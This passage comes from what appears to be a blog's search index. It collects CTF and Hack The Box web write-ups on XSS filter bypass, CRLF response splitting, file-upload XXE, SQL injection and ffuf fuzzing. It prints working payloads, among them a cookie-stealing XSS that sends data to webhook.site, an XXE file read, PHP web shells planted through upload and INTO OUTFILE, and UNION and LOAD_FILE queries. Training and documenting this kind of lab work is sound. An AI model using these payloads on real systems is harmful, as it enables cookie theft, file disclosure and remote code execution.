url.startsWith(\u0026#39;http://web-czechoslovakia.hackena-labs.com/\u0026#39;))) { return res.status(400).json({ error: \u0026#39;Only http(s)://web-czechoslovakia.hackena-labs.com/ allowed\u0026#39; }); } const browser = await puppeteer.launch({ headless: \u0026#39;new\u0026#39;, args: [\u0026#39;--no-sandbox\u0026#39;, \u0026#39;--disable-dev-shm-usage\u0026#39;], }); const page = await browser.newPage(); await page.setCookie({ name: \u0026#39;FLAG\u0026#39;, value: process.env.FLAG || \u0026#39;FLAG_NOT_SET\u0026#39;, url: \u0026#39;https://web-czechoslovakia.hackena-labs.com/\u0026#39;, path: \u0026#39;/\u0026#39;, secure: false }); try { await page.goto(url, { waitUntil: \u0026#39;networkidle2\u0026#39;, timeout: 60000 }); res.json({ success: true, message: \u0026#39;Visited successfully\u0026#39; }); } catch (err) { console.error(\u0026#39;Error:\u0026#39;, err); res.status(500).json({ error: \u0026#39;Automation failed\u0026#39;, details: err.message }); } finally { await browser.close(); } }); app.listen(PORT,\u0026#34;0.0.0.0\u0026#34;, () =\u0026gt; { console.log(`Server is running on http://localhost:${PORT}`); }); Let\u0026rsquo;s start with understanding the code:\nIn index.php:\n\u0026lt;h3 id=\u0026#34;welcome\u0026#34;\u0026gt;\u0026lt;/h3\u0026gt; \u0026lt;script\u0026gt; document.getElementById(\u0026#34;welcome\u0026#34;).innerText = \u0026#34;Welcome, \u0026lt;?=$name?\u0026gt;\u0026#34;; \u0026lt;/script\u0026gt; The name parameter is directly embedded to the JavaScript context without proper validation or encoding.\nIn admin_bot.js:\nawait page.setCookie({ name: \u0026#39;FLAG\u0026#39;, value: process.env.FLAG || \u0026#39;FLAG_NOT_SET\u0026#39;, url: \u0026#39;https://web-czechoslovakia.hackena-labs.com/\u0026#39;, }); The bot visits any URL in the target domain with the FLAG cookie set.\nUnderstanding the filters # The application implements TWO layers of filtering:\nFilter Layer 1: Whitespace Removal\nfunction remove_all_whitespace(string $s): string { return preg_replace(\u0026#39;/[\\p{Z}\\p{C}\\s]+/u\u0026#39;, \u0026#39;\u0026#39;, $s); } Removes ALL whitespace characters including: spaces, tabs, newlines, unicode whitespace, control characters.\nFilter Layer 2: Character Whitelist \u0026amp; Logic\nfunction check($input) { $whitelist = \u0026#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;\u0026#34;/\u0026#39;; if(str_contains($input, \u0026#39;\u0026lt;\u0026#39;)) return false; if(substr_count($input, \u0026#39;\u0026#34;\u0026#39;) \u0026gt; 1) return false; for ($i = 0; $i \u0026lt; $len; $i++) { $char = $input[$i]; if (strpos($whitelist, $char) === false) return false; if ($char === \u0026#39;/\u0026#39; \u0026amp;\u0026amp; isset($input[$i+1]) \u0026amp;\u0026amp; $input[$i+1] === \u0026#39;/\u0026#39;) { if (strpos($result, \u0026#39;\u0026#34;\u0026#39;) !== false) break; } } return $result; } Summary of Constraints: # No \u0026lt; → Cannot use HTML tags | Blocks \u0026lt;script\u0026gt;, \u0026lt;img\u0026gt;, etc. Max 1 \u0026quot; → Only one double quote, Limits string escaping options Whitelist only → Letters, digits, ;, \u0026quot;, / Blocks parentheses, dots, special chars, etc. No whitespace → All spaces removed, Must write JavaScript without spaces // stops after \u0026quot; → Processing ends at // if \u0026quot; exists before it KEY LOOPHOLE! The core trick in the challenge (Parser Mismatch) # The filter and JavaScript parser interpret the same text differently. Here\u0026rsquo;s why:\nFrom the PHP perspective: Input: \u0026quot;;/a//(malicious_code)// \u0026quot; → quote found → ;, / , a, / → Valid characters → / → This is the second slash!, the server check if there was a \u0026quot; before and yes so the assumption → Everything after // is a comment (safe) so stop validation.\nFrom the JavaScript perspective:\ndocument.getElementById(\u0026#34;welcome\u0026#34;).innerText = \u0026#34;Welcome, \u0026#34;;/a//(malicious_code)//\u0026#34;; \u0026quot; → String literal ; → Statement terminator /a/ → Valid regex literal (harmless by itself). // → Looks like the start of a comment, but only after the parser has already accepted /a/ as a complete expression. (malicious_code) → Treated as a new expression, so it executes. // → Starts a comment After all this, let\u0026rsquo;s confirm our approach is true by trying to make an alert: ?name=\u0026quot;;/a//(alert(1))// and doneeeee\nNow I should build the full exploit to steal the flag.\nAfter skipping the filter by \u0026quot;;/a// the following code is that we will steal the flag with. The intended path is to make the admin_bot visit the URL and then will send the flag back as a cookie.\nWe can receive the cookie in a listener like webhook, So the exploit will be:\n(window.location=\u0026#39;https://webhook.site/YOUR_ID/?c=\u0026#39;.concat(btoa(document.cookie))) document.cookie — Retrieves all cookies (including FLAG) btoa(document.cookie) — Base64 encodes the cookie data .concat() — Appends the encoded data to our URL window.location= — Redirects to our webhook, exfiltrating the data The final payload:\n\u0026#34;;/a//(window.location=\u0026#39;https://webhook.site/YOUR_ID/?c=\u0026#39;.concat(btoa(document.cookie)))// The Exploitation Steps:\nEncode the payload https://web-czechoslovakia.hackena-labs.com/?name=\u0026lt;ENCODED_PAYLOAD\u0026gt; Make the bot visit the URL by sending a request to visit endpoint: curl -X POST https://web-czechoslovakia-bot.hackena-labs.com/visit \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;url\u0026#34;: \u0026#34;https://web-czechoslovakia.hackena-labs.com/?name=\u0026lt;ENCODED_PAYLOAD\u0026gt;\u0026#34;}\u0026#39; Receive the flag in your webhook and decode it. DONE FOR THE DAY — SEE YOU IN ANOTHER CHALLENGE ;)\n","date":"14 March 2026","description":"Exploiting XSS in a filtered input parameter using the /a// bypass technique to steal the admin bot's FLAG cookie through webhook exfiltration.","externalUrl":null,"permalink":"/posts/writeups/hackena-ramadan-ctf-xss/","section":"Write-ups","summary":"How I Exploited an XSS vulnerability in a filtered input parameter using the /a// bypass technique to steal the admin bot’s FLAG cookie through a webhook exfiltration.\n","tags":"CTF, Web, XSS","title":"Czechoslovakia XSS Challenge | Hackena Ramadan CTF","type":"posts"},{"content":"How I exploited HTTP response splitting to steal cookies from an isolated bot using only time measurements.\nThe Challenge That Said \u0026ldquo;No\u0026rdquo; # When I first landed on the No Notes hehe challenge, I was greeted with a peculiar message:\n\u0026ldquo;Welcome to the secure notes application. We take security very seriously. After discovering XSS vulnerabilities, we have disabled the dynamic notes feature.\u0026rdquo;\nThe landing page linked to a single static file: /view/note.txt?name=note.txt. That was it. No forms, no inputs, no obvious attack surface. Just a long-winded text file explaining why the developers decided to remove all features to achieve \u0026ldquo;perfect security.\u0026rdquo;\nI started by reading the bot code provided to understand what is going on:\nconst playwright = require(\u0026#39;playwright\u0026#39;); const express = require(\u0026#39;express\u0026#39;); const app = express(); app.use(express.json()); const PORT = 3000; const FLAG = process.env.FLAG || \u0026#34;Hackena{test_flag_123}\u0026#34;; const TARGET_DOMAIN = process.env.TARGET_DOMAIN || \u0026#34;localhost\u0026#34;; // web-nonotes:5001 async function visit(url) { let browser = null; try { console.log(`Visiting ${url}`); browser = await playwright.chromium.launch({ args: [\u0026#39;--no-sandbox\u0026#39;, \u0026#39;--disable-setuid-sandbox\u0026#39;] }); const context = await browser.newContext(); const cookie = { name: \u0026#39;flag\u0026#39;, value: FLAG, domain: TARGET_DOMAIN, path: \u0026#39;/\u0026#39;, httpOnly: false, secure: false, sameSite: \u0026#39;Lax\u0026#39; }; await context.addCookies([cookie]); const page = await context.newPage(); await page.goto(url, { waitUntil: \u0026#39;domcontentloaded\u0026#39;, timeout: 7000 }); await page.waitForLoadState(\u0026#39;networkidle\u0026#39;, { timeout: 7000 }).catch(() =\u0026gt; {}); await page.waitForTimeout(1000); await browser.close(); console.log(`Visited ${url}`); } catch (e) { console.log(`Error visiting ${url}: ${e.message}`); if (browser) await browser.close(); } } app.post(\u0026#39;/visit\u0026#39;, async (req, res) =\u0026gt; { const url = req.body.url; if (!url) { return res.status(400).send(\u0026#39;Missing url\u0026#39;); } if (!url.startsWith(\u0026#39;http\u0026#39;)) { return res.status(400).send(\u0026#39;Invalid URL protocol\u0026#39;); } await visit(url); res.send(\u0026#39;done\u0026#39;); }); app.listen(PORT, () =\u0026gt; { console.log(`Bot listening on port ${PORT}`); }); Key Findings:\nCookie name is flag containing the actual flag value. httpOnly: false means JavaScript can access it via document.cookie TARGET_DOMAIN is environment-controlled (affects which origin sees the cookie) sameSite: 'Lax' prevents the cookie from being sent on cross-site subrequests (like images or frames), but it is sent when the user navigates to the target site. Bot Timing Behavior\nThe bot navigates to your provided URL and waits until the basic HTML is parsed (domcontentloaded). It has a 7-second hard limit. The bot waits until there are no more active network requests (images, scripts, API calls) for at least 500ms. Again, it has a 7-second timeout. The .catch(() =\u0026gt; {}) ensures that even if the network never goes quiet, the script doesn\u0026rsquo;t crash; it just moves on. This is a goldmine for Side-Channel Timing Attacks. By forcing the bot to make many slow network requests (e.g., requesting a non-existent image 1,000 times), an attacker can reliably keep the bot \u0026ldquo;busy\u0026rdquo; for the full 7 seconds. After understanding the bot code clearly I decided to observe the request and the response for the /view/note.txt?name=note.txt endpoint on the burp.\nI noticed some important headers:\nContent-Disposition: inline; filename=\u0026quot;note.txt\u0026quot; Content-Type: text/plain; charset=utf-8 Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; There is an important thing I noticed the filename parameter comes from the name parameter and no sanitization visible. Hmm User input in a response header? this is a huge proof about CRLF Injection existence.\nWhat\u0026rsquo;s CRLF Injection? # CRLF stands for Carriage Return (\\r, %0D) and Line Feed (\\n,%0A) — the special characters that separate HTTP headers. If an application puts untrusted input into a header without sanitization, an attacker can inject new headers or even control the response body entirely.\nCome back here! let\u0026rsquo;s ensure we are right, let me inject this ?name=%22%0D%0AX-Pwned:%20true%0D%0A :\nPWNED. The server was blindly placing my input into the header. Now the question became: How far can I push this?\nResponse Splitting: Taking Full Control # A CRLF injection becomes truly dangerous when you can inject not just headers, but an entirely new response body. The trick is using Transfer-Encoding: chunked.\nHTTP chunked encoding lets you specify the exact size of your content, then terminate the response. Anything after your chunk — like the original note.txt file — gets ignored by the browser.\nWe want to take full control of the browser to execute malicious code like steal a cookie, because XSS payloads are filtered, we use the response splitting technique.\nLet\u0026rsquo;s build a test payload:\nname=\u0026#34;%0D%0ATransfer-Encoding: chunked%0D%0AContent-Type: text/html%0D%0A%0D%0A3%0D%0Aabc%0D%0A0%0D%0A%0D%0A Payload Structure:\n%0D%0A —\u0026gt; \\r\\n → Close the Content-Disposition header. Inject Transfer-Encoding: chunked Change Content-Type to text/html %0D%0A — Empty line (end of headers) 3 — Chunk size: 3 bytes abc — The actual HTML/JS content 0 — Terminating chunk (signals end of response) Think of the browser like a person reading a script.\nThe Hijack: Normally, the browser waits for the server to finish sending the whole file. But because you injected Transfer-Encoding: chunked, the browser stops looking at the total size and starts reading chunks. The Execution: Since you changed the Content-Type to text/html, the browser doesn\u0026rsquo;t download a file — it opens a page. It reads your 3 bytes of abc (or your JS payload) and executes it immediately. The Clean Exit (The 0): This is the best part. The browser sees that 0 and thinks, the server is finished! I\u0026rsquo;ll stop reading now. It completely ignores the rest of the real file that the server tries to send. Now let\u0026rsquo;s try making an alert using → http://target.com/view/note.txt?name=%0D%0AContent-Type:text/html%0D%0A%0D%0A\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\nWait what?! why this not working. I will take a look again in the response. I remember there was a CSP header in the response: Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self';\nThat means:\nCan\u0026rsquo;t load external resources. Can\u0026rsquo;t use inline JavaScript. Can load scripts from same origin (self). So I\u0026rsquo;m injecting the response from the same domain, doesn\u0026rsquo;t that count as 'self'?\nThe Two-Stage Attack # This is where it got creative. I needed to chain two CRLF injections:\nStage 1: Inject an HTML page\n\u0026lt;html\u0026gt;\u0026lt;body\u0026gt; \u0026lt;script src=\u0026#34;/view/note.txt?name=[CRLF-PAYLOAD-2]\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; Stage 2: Make that script src URL return JavaScript instead of text\n// My malicious JavaScript here document.cookie // Flag is here! Because both responses come from the same origin, CSP\u0026rsquo;s script-src 'self' allows the execution. Now we know how will be our attack chain look like.\nCharacter Extraction # I would extract the characters by the same way (binary search) but it took too much time and hanged the server so I asked Claude to optimize the code.\n# Stage 1: Binary search (3-4 queries) while hi - lo \u0026gt; 23: mid = (lo + hi) // 2 ok = oracle(f\u0026#39;document.cookie.charCodeAt({pos})\u0026gt;{mid}\u0026#39;, base) if ok: lo = mid + 1 else: hi = mid # Stage 2: Parallel equality (5 workers, ~5s per char) candidates = [c for c in \u0026#34;abcdefg...xyz0123...\u0026#34; if lo \u0026lt;= ord(c) \u0026lt;= hi] results = oracle_parallel_batch([ f\u0026#39;document.cookie.charCodeAt({pos})=={ord(c)}\u0026#39; for c in candidates ], base) Standard binary search was too slow and put too much stress on the server, so I switched to a hybrid approach to speed up the flag extraction:\nThe Bracket (Binary Search): First, I used binary search to \u0026ldquo;zoom in\u0026rdquo; on the character. Instead of checking every possibility, I asked the bot a few \u0026ldquo;Higher or Lower?\u0026rdquo; questions. This quickly narrowed each character down from 128 possibilities to a tiny \u0026ldquo;bracket\u0026rdquo; of about 20 candidates. The Blast (Parallel Testing): Once the range was small enough, I stopped the binary search and tested all remaining candidates at once. By sending these requests in parallel, I didn\u0026rsquo;t have to wait for them one by one. The Result: I simply looked for the \u0026ldquo;Slowest Response.\u0026rdquo; The one request that triggered the 7-second delay told me exactly which character was correct, while the wrong guesses finished almost instantly. The Final Attack Chain # Verify server accepts CRLF injection (no bot needed). Test JavaScript execution with making an alert. Find which domain/origin has the cookie Extract cookie length using binary search (~8 queries) Extract each character using hybrid method (~50 seconds per char) The Solver Build # Run it using python3 solver.py and wait about 30 min for full flag.\nFinal Notes\nThe challenge is a strong example that removing a feature does not remove all attack surface if response construction still trusts user input. The critical sink here is header generation, not HTML template rendering.\nHappy Hacking :)\n","date":"14 March 2026","description":"Exploiting HTTP response splitting to steal cookies from an isolated bot using timing side-channel attacks.","externalUrl":null,"permalink":"/posts/writeups/hackena-ramadan-ctf-crlf/","section":"Write-ups","summary":"How I exploited HTTP response splitting to steal cookies from an isolated bot using only time measurements.\nThe Challenge That Said “No” # When I first landed on the No Notes hehe challenge, I was greeted with a peculiar message:\n","tags":"CTF, Web","title":"No Notes CRLF Challenge | Hackena Ramadan CTF","type":"posts"},{"content":" Inspecting the webapp and the functionalities found a submit flag functionality. I read the JS and the HTML codes to see the validation of the frontend, noticed that only images extensions are allowed. I uploaded a .png file and see the request in the burp. it was a GET request and it supposed to be a POST request in uploading a file, so I inspect the code to see the right place to upload files and found in the JS file the correct is to send to the endpoint: contact/upload.php I asked AI to create me a curl request to send a POST request to this endpoint. I fuzzed to see the allowed extension and the allowed content type too and found that svg and images/svg+xml are allowed. So I thought about upload a svg file with XXE payload to craft gain the source code of the backend to know the logic, blacklist, and the whitelist of the uploading function. curl -s -X POST \u0026#34;154.57.164.61:30775/contact/upload.php\u0026#34; \\ -F \u0026#34;uploadFile=@/dev/stdin;filename=shell.svg;type=image/svg+xml\u0026#34; \\ \u0026lt;\u0026lt;\u0026lt; \u0026#39;\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE svg [\u0026lt;!ENTITY xxe SYSTEM \u0026#34;php://filter/convert.base64-encode/resource=/var/www/html/contact/upload.php\u0026#34;\u0026gt;]\u0026gt; \u0026lt;svg xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34; width=\u0026#34;500\u0026#34; height=\u0026#34;500\u0026#34;\u0026gt; \u0026lt;text y=\u0026#34;20\u0026#34;\u0026gt;\u0026amp;xxe;\u0026lt;/text\u0026gt; \u0026lt;/svg\u0026gt;\u0026#39; The parameters of the payload got from the HTML code inspection: \u0026lt;input name=\u0026#34;uploadFile\u0026#34; id=\u0026#34;uploadFile\u0026#34; type=\u0026#34;file\u0026#34; class=\u0026#34;custom-file-input\u0026#34; id=\u0026#34;inputGroupFile02\u0026#34; onchange=\u0026#34;checkFile(this)\u0026#34; accept=\u0026#34;.jpg,.jpeg,.png\u0026#34;\u0026gt; We got the source code encoded, after decoded, we knew the logic: \u0026lt;?php require_once(\u0026#39;./common-functions.php\u0026#39;); // uploaded files directory $target_dir = \u0026#34;./user_feedback_submissions/\u0026#34;; // rename before storing $fileName = date(\u0026#39;ymd\u0026#39;) . \u0026#39;_\u0026#39; . basename($_FILES[\u0026#34;uploadFile\u0026#34;][\u0026#34;name\u0026#34;]); $target_file = $target_dir . $fileName; // get content headers $contentType = $_FILES[\u0026#39;uploadFile\u0026#39;][\u0026#39;type\u0026#39;]; $MIMEtype = mime_content_type($_FILES[\u0026#39;uploadFile\u0026#39;][\u0026#39;tmp_name\u0026#39;]); // blacklist test if (preg_match(\u0026#39;/.+\\.ph(p|ps|tml)/\u0026#39;, $fileName)) { echo \u0026#34;Extension not allowed\u0026#34;; die(); } // whitelist test if (!preg_match(\u0026#39;/^.+\\.[a-z]{2,3}g$/\u0026#39;, $fileName)) { echo \u0026#34;Only images are allowed\u0026#34;; die(); } // type test foreach (array($contentType, $MIMEtype) as $type) { if (!preg_match(\u0026#39;/image\\/[a-z]{2,3}g/\u0026#39;, $type)) { echo \u0026#34;Only images are allowed\u0026#34;; die(); } } // size test if ($_FILES[\u0026#34;uploadFile\u0026#34;][\u0026#34;size\u0026#34;] \u0026gt; 500000) { echo \u0026#34;File too large\u0026#34;; die(); } if (move_uploaded_file($_FILES[\u0026#34;uploadFile\u0026#34;][\u0026#34;tmp_name\u0026#34;], $target_file)) { displayHTMLImage($target_file); } else { echo \u0026#34;File failed to upload\u0026#34;; } i want to get the flag then The code tells us the following: 1. Blacklist: blocks .php .phps .phtml 2. Whitelist: filename must end in [a-z]{2,3}g → jpg, png, svg, jpeg 3. Content-Type: must match image/[a-z]{2,3}g → image/jpg, image/png, image/svg, image/jpeg 4. MIME: same regex check on actual file content 5. Upload dir: ./user_feedback_submissions/ 6. The file is stored in the database with a unique schema --\u0026gt; DATE_Filename I noticed that the .phar extension not in the blacklist so I can use in uploading a shell which can allow execution of a PHP code. The vulnerability of the whitelist is that it only checks the end of the filename extension has a g so using jpg with double-extension technique will bypass the filters. To ensure the attack implemented successfully, we should put a jpg signature to bypass the MIME check \u0026ndash;\u0026gt; \\xff\\xd8\\xff\\ ![[Pasted image 20260607022513.png]] So the full request will be: ![[Pasted image 20260607022051.png]] The shell is uploaded and now we want to visit it, after some struggling with the data I reached the true path: http://154.57.164.61:30775/contact/user_feedback_submissions/260606_shell.phar.jpg?cmd=ls The flag isn\u0026rsquo;t in flag.txt as I tried before catch it with the same way I get the source code, so I knew that I needed an RCE. I search about flag in the entire system: find / -name \u0026#39;flag*\u0026#39; -o -name \u0026#39;*flag*\u0026#39; -o -name \u0026#39;*.flag\u0026#39; 2\u0026gt;/dev/null The flag in flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt , just read it. ","date":"15 January 2026","description":"Chaining unrestricted file upload, path traversal, and double URL decoding to gain remote code execution.","externalUrl":null,"permalink":"/posts/writeups/file-upload-skill-assessment/","section":"Write-ups","summary":" Inspecting the webapp and the functionalities found a submit flag functionality. I read the JS and the HTML codes to see the validation of the frontend, noticed that only images extensions are allowed. I uploaded a .png file and see the request in the burp. it was a GET request and it supposed to be a POST request in uploading a file, so I inspect the code to see the right place to upload files and found in the JS file the correct is to send to the endpoint: contact/upload.php I asked AI to create me a curl request to send a POST request to this endpoint. I fuzzed to see the allowed extension and the allowed content type too and found that svg and images/svg+xml are allowed. So I thought about upload a svg file with XXE payload to craft gain the source code of the backend to know the logic, blacklist, and the whitelist of the uploading function. curl -s -X POST \"154.57.164.61:30775/contact/upload.php\" \\ -F \"uploadFile=@/dev/stdin;filename=shell.svg;type=image/svg+xml\" \\ \u003c\u003c\u003c '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e \u003c!DOCTYPE svg [\u003c!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=/var/www/html/contact/upload.php\"\u003e]\u003e \u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"500\" height=\"500\"\u003e \u003ctext y=\"20\"\u003e\u0026xxe;\u003c/text\u003e \u003c/svg\u003e' The parameters of the payload got from the HTML code inspection: \u003cinput name=\"uploadFile\" id=\"uploadFile\" type=\"file\" class=\"custom-file-input\" id=\"inputGroupFile02\" onchange=\"checkFile(this)\" accept=\".jpg,.jpeg,.png\"\u003e We got the source code encoded, after decoded, we knew the logic: \u003c?php require_once('./common-functions.php'); // uploaded files directory $target_dir = \"./user_feedback_submissions/\"; // rename before storing $fileName = date('ymd') . '_' . basename($_FILES[\"uploadFile\"][\"name\"]); $target_file = $target_dir . $fileName; // get content headers $contentType = $_FILES['uploadFile']['type']; $MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']); // blacklist test if (preg_match('/.+\\.ph(p|ps|tml)/', $fileName)) { echo \"Extension not allowed\"; die(); } // whitelist test if (!preg_match('/^.+\\.[a-z]{2,3}g$/', $fileName)) { echo \"Only images are allowed\"; die(); } // type test foreach (array($contentType, $MIMEtype) as $type) { if (!preg_match('/image\\/[a-z]{2,3}g/', $type)) { echo \"Only images are allowed\"; die(); } } // size test if ($_FILES[\"uploadFile\"][\"size\"] \u003e 500000) { echo \"File too large\"; die(); } if (move_uploaded_file($_FILES[\"uploadFile\"][\"tmp_name\"], $target_file)) { displayHTMLImage($target_file); } else { echo \"File failed to upload\"; } i want to get the flag then The code tells us the following: 1. Blacklist: blocks .php .phps .phtml 2. Whitelist: filename must end in [a-z]{2,3}g → jpg, png, svg, jpeg 3. Content-Type: must match image/[a-z]{2,3}g → image/jpg, image/png, image/svg, image/jpeg 4. MIME: same regex check on actual file content 5. Upload dir: ./user_feedback_submissions/ 6. The file is stored in the database with a unique schema --\u003e DATE_Filename I noticed that the .phar extension not in the blacklist so I can use in uploading a shell which can allow execution of a PHP code. The vulnerability of the whitelist is that it only checks the end of the filename extension has a g so using jpg with double-extension technique will bypass the filters. To ensure the attack implemented successfully, we should put a jpg signature to bypass the MIME check –\u003e \\xff\\xd8\\xff\\ ![[Pasted image 20260607022513.png]] So the full request will be: ![[Pasted image 20260607022051.png]] The shell is uploaded and now we want to visit it, after some struggling with the data I reached the true path: http://154.57.164.61:30775/contact/user_feedback_submissions/260606_shell.phar.jpg?cmd=ls The flag isn’t in flag.txt as I tried before catch it with the same way I get the source code, so I knew that I needed an RCE. I search about flag in the entire system: find / -name 'flag*' -o -name '*flag*' -o -name '*.flag' 2\u003e/dev/null The flag in flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt , just read it. ","tags":"Web, HTB","title":"File Upload Skill Assessment","type":"posts"},{"content":"We are tasked with a web application and assigned to perform a penetration test and exploit SQL injection vulnerability. Let\u0026rsquo;s goo and explore.\nIn first step after visiting the application we got a bad request.\nThe error appears in the proxy: 400 The plain HTTP request was sent to HTTPS port\nSo use https:// schema before the IP.\nAfter visiting the webapp we will find that the app has two pages login and create account.\nI made a request to login to see the request and the response.\nThe request is sent via POST to /api/login.php and it redirects as to GET /login.php?e=username+or+password+is+wrong after entering invalid credentials.\nI tried to test the username and password with ' and \u0026quot; and some SQLi payloads but none was working \u0026ndash;\u0026gt; all of them gave us username+or+password+is+wrong\nSo I decided to explore create account functionality:\nWe have 4 parameters to fill, I entered some random parameters to see if there are any constraints and WE HAVE.\nAnd we have a rabbit hole endpoint too POST /api/checkUsername.php with a username parameter which the request sent after we typed any username and I tried to test SQLi in the parameter but none is working too.\nBacking again to the constraints:\nPassword must match: invalid password. password must be at least 8 characters long, including at least one letter, number and special character Invitation code must match: Invalid invitation code. Please ensure it follows this format: 4 letters – 4 letters – 4 numbers (e.g., abcd-efgh-1234). So let\u0026rsquo;s enter these credentials:\nusername=mmmm password=MMMMmm1234@ repeatPassword=MMMMmm1234@ invitationCode=mmmm-mmmm-1234 The interesting thing after I matched all the constraints, it gives me invalid invitation code, so I tried to bypass this by typing mmmm-mmmm-1234'+OR+'1'='1, the account created successfully.\nLet\u0026rsquo;s login and explore the app.\nWe can send messages to admin, and we can search for the messages sent.\nThe search functionality is a potential to be vulnerable to SQLi because it searches for messages in a database so let\u0026rsquo;s test it.\nAs I said, if we write a ' in the search parameter we will get an error.\nJust test now with ' OR 1=1-- - and you will get \u0026ndash;\u0026gt; 200 OK\nNow our attack should be UNION Based to get the admin password.\nColumn Count Enumeration # The first step, we should get the number of columns using:\nsd\u0026#39;+UNION SELECT NULL-- - Adding NULL until 7 or 8 times and each time I get 500 internal error so I knew that the query is missing something.\nAfter some trying I tried sd') and NULL until I get 200 OK after 4 so the columns are 4.\nsd\u0026#39;)+UNION SELECT NULL,NULL,NULL,NULL-- - Database Enumeration # The next step is to make a database enumeration to know the databases and the tables exist to choose the right one so I retrieved it from INFORMATION_SCHEMA.TABLES\nsd\u0026#39;) UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES-- - Databases found: information_schema, performance_schema, chattr\nThe first two databases exist by default so we ignore it, let\u0026rsquo;s explore the tables and columns in chattr.\nsd\u0026#39;) UNION select 1,COLUMN_NAME,TABLE_NAME,4 from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=\u0026#39;chattr\u0026#39;-- - We got Users table so let\u0026rsquo;s read the username and the password in Users table and get the admin password hash:\nsd\u0026#39;) UNION select 1,username,password,3 from Users WHERE username=\u0026#39;admin\u0026#39;-- - THE FIRST QUESTION DONE\nFinding Web Root Path # The second question is to know the web root path.\nWe know that from Burp Suite that the webserver used in this question is nginx.\nTo know the root path we should explore the configuration files, so I searched online for the paths of the configuration files in nginx, so I found:\n/etc/nginx/nginx.conf /etc/nginx/sites-enabled/default Now we can read these files using LOAD_FILE(\u0026quot;/file/path\u0026quot;) function.\nI read both and found the root at /etc/nginx/sites-enabled/default\nsd\u0026#39;) UNION SELECT 1,2,LOAD_FILE(\u0026#34;/etc/nginx/sites-enabled/default\u0026#34;),4-- - Gaining RCE via INTO OUTFILE # The last question requires us to take a shell and gain RCE to read the flag in the system.\nWe need to write a PHP shell in the database to can access it, we can achieve this using INTO OUTFILE 'rootpath/shell.php' and upload our shell.\nThe payload is like:\nsd\u0026#39;) UNION SELECT \u0026#34;\u0026#34;,\u0026#34;\u0026lt;?php system($_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt;\u0026#34;,\u0026#34;\u0026#34;,\u0026#34;\u0026#34; INTO OUTFILE \u0026#39;/var/www/(rootpath)/shell.php\u0026#39;-- - Then access the shell in https://IP:PORT/shell.php?cmd=.\nList the files in the system using ls -al /.\nYou will find the flag at /flag_XXXXXX.txt\nJUST READ IT AND DONE.\n","date":"11 January 2026","description":"Chaining SQL injection bypass, UNION-based enumeration, and INTO OUTFILE to gain RCE on a web application.","externalUrl":null,"permalink":"/posts/writeups/sql-injection-skill-assessment/","section":"Write-ups","summary":"We are tasked with a web application and assigned to perform a penetration test and exploit SQL injection vulnerability. Let’s goo and explore.\nIn first step after visiting the application we got a bad request.\n","tags":"Web, HTB, SQLi","title":"SQL Injection Skill Assessment","type":"posts"},{"content":" Hello everyone\nIn this article, I’ll share my approach to solving the Web Fuzzing Skill Assessment on Hack The Box, sharing the methodology and tools I used along the way.\nWhat is web fuzzing? # Web fuzzing is an automated security testing technique that sends unexpected, invalid, or random inputs to a web application to uncover vulnerabilities and abnormal behaviors.\nTo see all my notes of this module → Check This\nThe assessment requires us to discover the target and this will lead us to the flag, so let’s go\nThe first thing I thought about is to fuzz the directories of the target so I used ffuf\nPress enter or click to view image in full size\nSome of the discovered files returned a 403 Forbidden status code, which means access to their content is not allowed.\nI used the same fuzzing method on the /admin directory to look for hidden files. The scan revealed the same files, plus an additional one called index.php.\nWhen I tried to access index.php, the server responded with “Access Denied”, confirming that the admin directory is protected and cannot be accessed directly.\nPress enter or click to view image in full size\nThen, our approach was missing something — maybe some files or directories — so I went back to fuzzing again using the --recursion flag to try all possibilities inside each directory it finds, and the -e option to test all the extensions I specified.\nPress enter or click to view image in full size\nWe got an interesting file so let’s send a request and see the behavior\nOhh! It hints that it uses a parameter in the URL, so I tried to add ?accessID= and tested some strings and numbers to specify the type of data sent in the URL. Unfortunately, all of them returned the same response: “Invalid parameter”. So let’s fuzz again:\nPress enter or click to view image in full size\nIt gave me many files with a 200 status code and a 58-byte size, so I needed to filter them out to catch the real one. For that, I used the -fs flag to filter all responses with the same size.\nI got the correct parameter and sent the request:\nPress enter or click to view image in full size\nThe response leads me to fuzz about the **vhosts (**I talked about VHOST in details in the last write-up check it).\nBefore we start fuzzing we should add the host to the target IP in the hosts file using\nsudo nano /etc/hosts Then add :\nPress enter or click to view image in full size\nNow let’s fuzz the vhosts using the following command:\nffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \\ -u http://83.136.249.164:40842/ \\ -H \u0026#34;Host: FUZZ.{the given host}.htb\u0026#34; \\ -mc 200,301,302 -fc 403 fuff replaces the FUZZ with all possibilities in the common.txt file\nPress enter or click to view image in full size\nWe got a subdomain, let’s send a request and see the result:\nI went to the given path which hints me that there is another directory, so I decided to do a recursive fuzzing to reach all directories:\nPress enter or click to view image in full size\nLet’s send a request to the final path we got and see the response:\nPress enter or click to view image in full size\nThere is our flag 👌, see you in a next one.\n","date":"7 January 2026","description":"Directory fuzzing with ffuf to discover hidden files, admin panels, and restricted endpoints leading to the flag.","externalUrl":null,"permalink":"/posts/writeups/web-fuzzing-skill-assessment/","section":"Write-ups","summary":" Hello everyone\nIn this article, I’ll share my approach to solving the Web Fuzzing Skill Assessment on Hack The Box, sharing the methodology and tools I used along the way.\n","tags":"Web, HTB","title":"Web Fuzzing Skill Assessment","type":"posts"},{"content":" 